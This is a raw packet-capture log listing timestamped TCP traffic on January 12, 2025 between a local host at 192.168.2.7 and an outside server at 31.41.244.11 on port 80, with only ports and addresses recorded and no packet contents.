Jan 12, 2025 17:39:09.658756971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658767939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658782959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658806086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658806086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658806086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658823013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658839941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658852100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658862114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658874989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658893108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658893108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658919096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658946037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658957005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658968925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658979893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658993959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659018993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659039021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659049988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659075975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659106970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659106970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659106970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659106970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659116030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659127951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659138918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659151077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659152985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659183979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659183979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659212112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659221888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659221888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659231901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659244061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659255981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659292936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659303904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659307003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659322977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659336090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659337044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.659349918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659375906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.659375906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695027113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695091009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695122957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695189953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695189953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695204973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695261955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695295095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695322990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695322990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695367098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695370913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695370913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695416927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695471048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695503950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695507050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695538044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695570946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695573092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695573092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695573092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695609093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695620060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695656061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695697069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695697069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695704937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695734024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695768118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695791960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695791960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695801020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695810080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695833921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695867062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695893049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695893049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695903063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695924997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695938110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695970058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.695980072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.695981026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696003914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696032047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696043968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696043968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696085930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696090937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696120977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696154118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696171999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696171999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696187019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696201086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696218967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696252108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696260929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696261883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696284056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696309090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696317911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696340084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696403027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696407080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696440935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696474075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696481943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696481943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696504116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696542978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696572065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696572065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696597099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696630001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696666002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696676016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696676016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696676016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696698904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696732044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696764946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696798086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696799040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696799040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696799040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696830034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696839094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696839094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696881056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696892023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.696916103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696949959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.696981907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697004080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697004080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697004080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697015047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697050095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697082043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697082043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697082043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697082043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697114944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697148085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697182894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697215080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697233915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697233915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697233915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697251081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697282076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697285891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697300911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697319984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697352886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697381020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697397947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697397947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697397947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697413921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697446108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697489977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697489977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697489977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697494984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697529078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697560072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697592020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697624922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697627068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697627068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697627068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697675943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697686911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697686911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697729111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697752953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697762012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697777987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697797060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697830915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697841883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697841883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697865009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697901011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697910070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697910070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697930098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697952986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.697962999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.697995901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698013067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698013067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698028088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698062897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698093891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698106050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698107004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698107004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698127985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698159933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698191881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698204041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698204041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698204041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698225975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698255062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698257923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698271036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698291063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698323011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698350906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698365927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698365927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698365927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698385000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698421955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698445082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698445082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698450089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698483944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698484898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698504925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698517084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698550940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698575020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698575020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698602915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698611021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698638916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698689938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698698044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698698044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698723078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698755026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698782921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698805094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698805094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698806047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698815107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698848963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698880911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698893070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698893070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698893070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698915005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698949099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.698962927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698962927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.698988914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699007034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699026108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699059963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699091911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699106932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699106932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699106932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699136972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699168921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699189901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699189901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699201107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699234009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699268103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699281931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699281931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699281931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699296951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699327946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699348927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699352026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699383974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699414015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699435949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699435949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699445963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699460983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699481964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699515104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699548006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699573040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699579954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699623108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699623108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699623108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699639082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699668884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699712038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699712038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699716091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699750900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699778080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699778080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699811935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699837923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699839115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699846029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699877024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699908972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699939013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699939013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699940920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.699971914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699971914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.699976921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700009108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700012922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700042009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700076103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700082064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700082064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700110912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700140953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700155020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700155020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700176001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700200081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700208902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700239897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700246096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700267076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700279951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700313091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700333118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700333118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700345993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700378895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700385094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700385094 CET	49975	80	192.168.2.7	31.41.244.11
